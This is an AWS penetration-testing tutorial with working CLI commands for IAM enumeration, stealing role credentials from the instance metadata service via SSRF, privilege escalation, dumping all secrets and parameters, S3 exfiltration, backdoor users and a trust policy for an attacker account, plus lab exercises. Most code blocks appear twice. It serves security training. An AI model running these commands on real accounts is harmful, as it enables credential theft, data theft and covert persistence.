Cloud Security A10| SSRF → Cloud Metadata A01| Broken Access Control
AWS Pentesting
AWS environments are often compromised through misconfigured IAM permissions, exposed S3 buckets, and Server-Side Request Forgery (SSRF) attacks targeting the Instance Metadata Service (IMDS).
AWS Pentesting Kill Chain
flowchart LR
R["🔍 Recon
Account Enum
S3 Discovery"] --> IA["🚪 Initial Access
SSRF / IMDS
Exposed Keys"]
IA --> E["📋 Enumerate
IAM / Roles
Services"]
E --> PE["⬆️ Priv Esc
Role Chaining
Policy Abuse"]
PE --> LM["↔️ Lateral Move
Cross-Account
SSM / Lambda"]
LM --> P["🔒 Persist
Backdoor User
Lambda Layer"]
P --> EX["📤 Exfiltrate
S3 Sync
Secrets Dump"]
Initial Access & Enumeration
Identity & IAM Enumeration
bash
# Check current identity
aws sts get-caller-identity
# Enumerate IAM users, roles, groups
aws iam list-users --query "Users[].{Name:UserName,Created:CreateDate}" --output table
aws iam list-roles --query "Roles[].{Name:RoleName,Arn:Arn}" --output table
aws iam list-groups
# Get detailed user policies (look for wildcards and admin access)
aws iam list-attached-user-policies --user-name target-user
aws iam list-user-policies --user-name target-user
aws iam get-user-policy --user-name target-user --policy-name <policy-name>
# Brute-force enumerate your own permissions (fast)
# enumerate-iam discovers allowed API calls without CloudTrail logging each attempt
python3 enumerate-iam.py --access-key AKIAXXX --secret-key XXXXX# Check current identity
aws sts get-caller-identity
# Enumerate IAM users, roles, groups
aws iam list-users --query "Users[].{Name:UserName,Created:CreateDate}" --output table
aws iam list-roles --query "Roles[].{Name:RoleName,Arn:Arn}" --output table
aws iam list-groups
# Get detailed user policies (look for wildcards and admin access)
aws iam list-attached-user-policies --user-name target-user
aws iam list-user-policies --user-name target-user
aws iam get-user-policy --user-name target-user --policy-name <policy-name>
# Brute-force enumerate your own permissions (fast)
# enumerate-iam discovers allowed API calls without CloudTrail logging each attempt
python3 enumerate-iam.py --access-key AKIAXXX --secret-key XXXXXS3 Bucket Enumeration
bash
# List all buckets (authenticated)
aws s3 ls
aws s3 ls s3://bucket-name --recursive --human-readable
# Check for PUBLIC buckets (unauthenticated)
aws s3 ls s3://bucket-name --no-sign-request
curl -s https://bucket-name.s3.amazonaws.com/ | xmllint --format -
# Check bucket ACL and policy
aws s3api get-bucket-acl --bucket bucket-name
aws s3api get-bucket-policy --bucket bucket-name
# Check if bucket allows public uploads (critical finding)
echo "test" > /tmp/test.txt
aws s3 cp /tmp/test.txt s3://bucket-name/test-upload.txt --no-sign-request
# Mass scan for open buckets
s3scanner scan --bucket-file targets.txt# List all buckets (authenticated)
aws s3 ls
aws s3 ls s3://bucket-name --recursive --human-readable
# Check for PUBLIC buckets (unauthenticated)
aws s3 ls s3://bucket-name --no-sign-request
curl -s https://bucket-name.s3.amazonaws.com/ | xmllint --format -
# Check bucket ACL and policy
aws s3api get-bucket-acl --bucket bucket-name
aws s3api get-bucket-policy --bucket bucket-name
# Check if bucket allows public uploads (critical finding)
echo "test" > /tmp/test.txt
aws s3 cp /tmp/test.txt s3://bucket-name/test-upload.txt --no-sign-request
# Mass scan for open buckets
s3scanner scan --bucket-file targets.txtService Enumeration
bash
# EC2 instances (look for public IPs, security groups, IAM roles)
aws ec2 describe-instances --query "Reservations[].Instances[].{ID:InstanceId,IP:PublicIpAddress,Role:IamInstanceProfile.Arn,State:State.Name}" --output table
# Security groups (look for 0.0.0.0/0 ingress)
aws ec2 describe-security-groups --query "SecurityGroups[?IpPermissions[?IpRanges[?CidrIp=='0.0.0.0/0']]].{Name:GroupName,ID:GroupId}" --output table
# Lambda functions (code and environment variables may contain secrets)
aws lambda list-functions --query "Functions[].{Name:FunctionName,Runtime:Runtime,Role:Role}" --output table
aws lambda get-function --function-name target-function
# Secrets Manager and SSM Parameter Store
aws secretsmanager list-secrets
aws secretsmanager get-secret-value --secret-id secret-name
aws ssm describe-parameters
aws ssm get-parameter --name /app/database/password --with-decryption
# RDS instances (database endpoints)
aws rds describe-db-instances --query "DBInstances[].{ID:DBInstanceIdentifier,Engine:Engine,Endpoint:Endpoint.Address,Public:PubliclyAccessible}" --output table# EC2 instances (look for public IPs, security groups, IAM roles)
aws ec2 describe-instances --query "Reservations[].Instances[].{ID:InstanceId,IP:PublicIpAddress,Role:IamInstanceProfile.Arn,State:State.Name}" --output table
# Security groups (look for 0.0.0.0/0 ingress)
aws ec2 describe-security-groups --query "SecurityGroups[?IpPermissions[?IpRanges[?CidrIp=='0.0.0.0/0']]].{Name:GroupName,ID:GroupId}" --output table
# Lambda functions (code and environment variables may contain secrets)
aws lambda list-functions --query "Functions[].{Name:FunctionName,Runtime:Runtime,Role:Role}" --output table
aws lambda get-function --function-name target-function
# Secrets Manager and SSM Parameter Store
aws secretsmanager list-secrets
aws secretsmanager get-secret-value --secret-id secret-name
aws ssm describe-parameters
aws ssm get-parameter --name /app/database/password --with-decryption
# RDS instances (database endpoints)
aws rds describe-db-instances --query "DBInstances[].{ID:DBInstanceIdentifier,Engine:Engine,Endpoint:Endpoint.Address,Public:PubliclyAccessible}" --output tableMetadata Service Exploitation
Warning
SSRF → IMDS is the #1 Cloud Attack Vector. The Capital One breach (106M records, $190M settlement)
exploited exactly this path: SSRF through a WAF → IMDSv1 → IAM credentials → S3 exfiltration.
SSRF to IMDS Attack Flow
flowchart LR
A["Attacker sends
SSRF payload"] --> B["App fetches
169.254.169.254"]
B --> C["Metadata returns
IAM credentials"]
C --> D["Attacker uses
creds externally"]
D --> E["Enumerate &
pivot across
AWS services"]
style A fill:#f87171,stroke:#000,color:#000
style C fill:#ec4899,stroke:#000,color:#000
style E fill:#4ade80,stroke:#000,color:#000
bash
# === IMDSv1 (exploitable via SSRF — no token required) ===
# Basic instance metadata
curl -s http://169.254.169.254/latest/meta-data/
curl -s http://169.254.169.254/latest/meta-data/hostname
curl -s http://169.254.169.254/latest/meta-data/local-ipv4
# Get IAM role name, then credentials
ROLE=$(curl -s http://169.254.169.254/latest/meta-data/iam/security-credentials/)
curl -s "http://169.254.169.254/latest/meta-data/iam/security-credentials/$ROLE" | jq
# Returns: AccessKeyId, SecretAccessKey, Token (temporary STS credentials)
# Get user data (often contains bootstrap scripts with secrets)
curl -s http://169.254.169.254/latest/user-data
# === IMDSv2 (requires PUT to get token — blocks most SSRF) ===
TOKEN=$(curl -s -X PUT "http://169.254.169.254/latest/api/token" -H "X-aws-ec2-metadata-token-ttl-seconds: 21600")
curl -s -H "X-aws-ec2-metadata-token: $TOKEN" http://169.254.169.254/latest/meta-data/
# === Use stolen credentials from attacker machine ===
export AWS_ACCESS_KEY_ID="ASIAXXX"
export AWS_SECRET_ACCESS_KEY="xxx"
export AWS_SESSION_TOKEN="xxx"
aws sts get-caller-identity # Verify — should show the EC2 role# === IMDSv1 (exploitable via SSRF — no token required) ===
# Basic instance metadata
curl -s http://169.254.169.254/latest/meta-data/
curl -s http://169.254.169.254/latest/meta-data/hostname
curl -s http://169.254.169.254/latest/meta-data/local-ipv4
# Get IAM role name, then credentials
ROLE=$(curl -s http://169.254.169.254/latest/meta-data/iam/security-credentials/)
curl -s "http://169.254.169.254/latest/meta-data/iam/security-credentials/$ROLE" | jq
# Returns: AccessKeyId, SecretAccessKey, Token (temporary STS credentials)
# Get user data (often contains bootstrap scripts with secrets)
curl -s http://169.254.169.254/latest/user-data
# === IMDSv2 (requires PUT to get token — blocks most SSRF) ===
TOKEN=$(curl -s -X PUT "http://169.254.169.254/latest/api/token" -H "X-aws-ec2-metadata-token-ttl-seconds: 21600")
curl -s -H "X-aws-ec2-metadata-token: $TOKEN" http://169.254.169.254/latest/meta-data/
# === Use stolen credentials from attacker machine ===
export AWS_ACCESS_KEY_ID="ASIAXXX"
export AWS_SECRET_ACCESS_KEY="xxx"
export AWS_SESSION_TOKEN="xxx"
aws sts get-caller-identity # Verify — should show the EC2 roleIAM Privilege Escalation
AWS IAM has over 20 known privilege escalation paths. The most common involve creating new access keys, assuming roles, or modifying policies. Pacu automates discovery of these paths.
| Technique | Required Permission | Impact |
|---|---|---|
| Create access key for another user | iam:CreateAccessKey | Impersonate any user (including admins) |
| Attach admin policy to self | iam:AttachUserPolicy | Full admin — attach AdministratorAccess |
| Create new policy version | iam:CreatePolicyVersion | Modify existing policy to add wildcards |
| Assume role | sts:AssumeRole | Pivot to more privileged role (cross-account) |
| Pass role to Lambda | iam:PassRole + lambda:CreateFunction | Execute code as any role in the account |
| Update Lambda code | lambda:UpdateFunctionCode | Inject code into existing Lambda (uses its role) |
bash
# === Pacu — automated privilege escalation discovery ===
# Start Pacu and set stolen credentials
pacu
> set_keys
> run iam__enum_permissions # Discover what you can do
> run iam__privesc_scan # Find escalation paths
> run iam__backdoor_users_keys # Create backdoor access keys
# === Manual: Create access key for admin user ===
aws iam create-access-key --user-name admin-user
# Now use those keys to become admin
# === Manual: Attach admin policy to your own user ===
aws iam attach-user-policy --user-name your-user --policy-arn arn:aws:iam::aws:policy/AdministratorAccess
# === Manual: Assume a cross-account role ===
aws sts assume-role --role-arn arn:aws:iam::123456789012:role/AdminRole --role-session-name pentest
# Use returned credentials to operate in target account
# === Lambda privilege escalation: pass role + create function ===
cat > /tmp/escalate.py << 'EOF'
import boto3, json
def handler(event, context):
client = boto3.client('iam')
client.attach_user_policy(
UserName='your-user',
PolicyArn='arn:aws:iam::aws:policy/AdministratorAccess'
)
return {'statusCode': 200}
EOF
zip /tmp/escalate.zip /tmp/escalate.py
aws lambda create-function --function-name escalate --runtime python3.12 \
--handler escalate.handler --zip-file fileb:///tmp/escalate.zip \
--role arn:aws:iam::123456789012:role/HighPrivRole
aws lambda invoke --function-name escalate /tmp/out.txt# === Pacu — automated privilege escalation discovery ===
# Start Pacu and set stolen credentials
pacu
> set_keys
> run iam__enum_permissions # Discover what you can do
> run iam__privesc_scan # Find escalation paths
> run iam__backdoor_users_keys # Create backdoor access keys
# === Manual: Create access key for admin user ===
aws iam create-access-key --user-name admin-user
# Now use those keys to become admin
# === Manual: Attach admin policy to your own user ===
aws iam attach-user-policy --user-name your-user --policy-arn arn:aws:iam::aws:policy/AdministratorAccess
# === Manual: Assume a cross-account role ===
aws sts assume-role --role-arn arn:aws:iam::123456789012:role/AdminRole --role-session-name pentest
# Use returned credentials to operate in target account
# === Lambda privilege escalation: pass role + create function ===
cat > /tmp/escalate.py << 'EOF'
import boto3, json
def handler(event, context):
client = boto3.client('iam')
client.attach_user_policy(
UserName='your-user',
PolicyArn='arn:aws:iam::aws:policy/AdministratorAccess'
)
return {'statusCode': 200}
EOF
zip /tmp/escalate.zip /tmp/escalate.py
aws lambda create-function --function-name escalate --runtime python3.12 \
--handler escalate.handler --zip-file fileb:///tmp/escalate.zip \
--role arn:aws:iam::123456789012:role/HighPrivRole
aws lambda invoke --function-name escalate /tmp/out.txtPost-Exploitation & Persistence
bash
# === Data Exfiltration ===
# Sync entire S3 bucket to local disk
aws s3 sync s3://sensitive-bucket ./exfil --no-sign-request
# Dump all secrets from Secrets Manager
for secret in $(aws secretsmanager list-secrets --query "SecretList[].Name" --output text); do
echo "=== $secret ==="
aws secretsmanager get-secret-value --secret-id "$secret" --query "SecretString" --output text
done
# Dump SSM parameters (often contain database passwords, API keys)
for param in $(aws ssm describe-parameters --query "Parameters[].Name" --output text); do
echo "=== $param ==="
aws ssm get-parameter --name "$param" --with-decryption --query "Parameter.Value" --output text
done
# === Lambda Code Extraction (may contain hardcoded secrets) ===
for func in $(aws lambda list-functions --query "Functions[].FunctionName" --output text); do
echo "[+] Downloading $func"
URL=$(aws lambda get-function --function-name "$func" --query "Code.Location" --output text)
curl -s -o "$func.zip" "$URL"
unzip -o "$func.zip" -d "./$func/"
grep -rn "password\|secret\|key\|token" "./$func/" 2>/dev/null
done# === Data Exfiltration ===
# Sync entire S3 bucket to local disk
aws s3 sync s3://sensitive-bucket ./exfil --no-sign-request
# Dump all secrets from Secrets Manager
for secret in $(aws secretsmanager list-secrets --query "SecretList[].Name" --output text); do
echo "=== $secret ==="
aws secretsmanager get-secret-value --secret-id "$secret" --query "SecretString" --output text
done
# Dump SSM parameters (often contain database passwords, API keys)
for param in $(aws ssm describe-parameters --query "Parameters[].Name" --output text); do
echo "=== $param ==="
aws ssm get-parameter --name "$param" --with-decryption --query "Parameter.Value" --output text
done
# === Lambda Code Extraction (may contain hardcoded secrets) ===
for func in $(aws lambda list-functions --query "Functions[].FunctionName" --output text); do
echo "[+] Downloading $func"
URL=$(aws lambda get-function --function-name "$func" --query "Code.Location" --output text)
curl -s -o "$func.zip" "$URL"
unzip -o "$func.zip" -d "./$func/"
grep -rn "password\|secret\|key\|token" "./$func/" 2>/dev/null
done bash
# === Persistence Techniques ===
# 1. Backdoor IAM user with hidden access key
aws iam create-access-key --user-name existing-service-user
# 2. Create a new IAM user (blends in with service accounts)
aws iam create-user --user-name svc-monitoring-agent
aws iam attach-user-policy --user-name svc-monitoring-agent --policy-arn arn:aws:iam::aws:policy/AdministratorAccess
aws iam create-access-key --user-name svc-monitoring-agent
# 3. Backdoor Lambda function (inject code into existing function)
aws lambda get-function --function-name prod-api --query "Code.Location" --output text
# Download, modify, re-upload with backdoor
aws lambda update-function-code --function-name prod-api --zip-file fileb://backdoored.zip
# 4. Create cross-account role trust (persistent access from attacker account)
# Modify trust policy to allow attacker's AWS account to assume the role
aws iam update-assume-role-policy --role-name AdminRole --policy-document '{
"Version": "2012-10-17",
"Statement": [{
"Effect": "Allow",
"Principal": {"AWS": "arn:aws:iam::ATTACKER_ACCOUNT:root"},
"Action": "sts:AssumeRole"
}]
}'
# === CloudTrail Evasion ===
# Check if CloudTrail is recording in current region
aws cloudtrail describe-trails --query "trailList[].{Name:Name,Region:HomeRegion,IsMultiRegion:IsMultiRegionTrail,Logging:IsLogging}"
# Some API calls (data events) are not logged by default (e.g., S3 GetObject, Lambda Invoke)# === Persistence Techniques ===
# 1. Backdoor IAM user with hidden access key
aws iam create-access-key --user-name existing-service-user
# 2. Create a new IAM user (blends in with service accounts)
aws iam create-user --user-name svc-monitoring-agent
aws iam attach-user-policy --user-name svc-monitoring-agent --policy-arn arn:aws:iam::aws:policy/AdministratorAccess
aws iam create-access-key --user-name svc-monitoring-agent
# 3. Backdoor Lambda function (inject code into existing function)
aws lambda get-function --function-name prod-api --query "Code.Location" --output text
# Download, modify, re-upload with backdoor
aws lambda update-function-code --function-name prod-api --zip-file fileb://backdoored.zip
# 4. Create cross-account role trust (persistent access from attacker account)
# Modify trust policy to allow attacker's AWS account to assume the role
aws iam update-assume-role-policy --role-name AdminRole --policy-document '{
"Version": "2012-10-17",
"Statement": [{
"Effect": "Allow",
"Principal": {"AWS": "arn:aws:iam::ATTACKER_ACCOUNT:root"},
"Action": "sts:AssumeRole"
}]
}'
# === CloudTrail Evasion ===
# Check if CloudTrail is recording in current region
aws cloudtrail describe-trails --query "trailList[].{Name:Name,Region:HomeRegion,IsMultiRegion:IsMultiRegionTrail,Logging:IsLogging}"
# Some API calls (data events) are not logged by default (e.g., S3 GetObject, Lambda Invoke)AWS Tools
| Tool | Category | Best For |
|---|---|---|
| Pacu | Exploitation | Full AWS exploitation framework — priv esc, persistence, exfil |
| enumerate-iam | Enumeration | Brute-force IAM permission discovery |
| S3Scanner | Scanning | Open S3 bucket discovery and content dumping |
| CloudMapper | Visualization | AWS environment mapping and network diagrams |
| Prowler | Auditing | CIS benchmarks, security posture assessment |
| ScoutSuite | Auditing | Multi-cloud security auditing with HTML reports |
| WeirdAAL | Enumeration | AWS attack library — data exfil, recon, persistence |
🎯
AWS Pentesting Labs
Hands-on practice with AWS attack techniques in intentionally vulnerable environments.
🔧
IAM Privilege Escalation — CloudGoat Custom Lab medium
Deploy CloudGoat (Rhino Security Labs) vulnerable AWS environmentStart with a low-privilege IAM user — enumerate permissions with enumerate-iamDiscover and exploit an iam:CreateAccessKey or iam:AttachUserPolicy escalation pathChain role assumptions to reach cross-account admin accessRun Pacu iam__privesc_scan to compare automated vs manual findingsClean up: tear down CloudGoat with terraform destroy
🔧
SSRF to IMDS Credential Theft Custom Lab hard
Deploy a web application on EC2 with IMDSv1 enabledIdentify an SSRF vulnerability in the applicationExploit SSRF to reach 169.254.169.254 and extract IAM role credentialsUse the stolen STS credentials to list S3 buckets and EC2 instancesEnable IMDSv2 and verify the SSRF attack is blockedImplement network-level mitigations (iptables rules blocking metadata from app user)
🔧
S3 Misconfiguration & Lambda Code Review Custom Lab medium
Use S3Scanner to discover public buckets in the lab environmentCheck bucket ACLs and policies for overpermissive accessDownload and review Lambda function code for hardcoded secretsExtract secrets from SSM Parameter Store and Secrets ManagerDocument all findings with CIS Benchmark referencesRun Prowler against the account and compare findings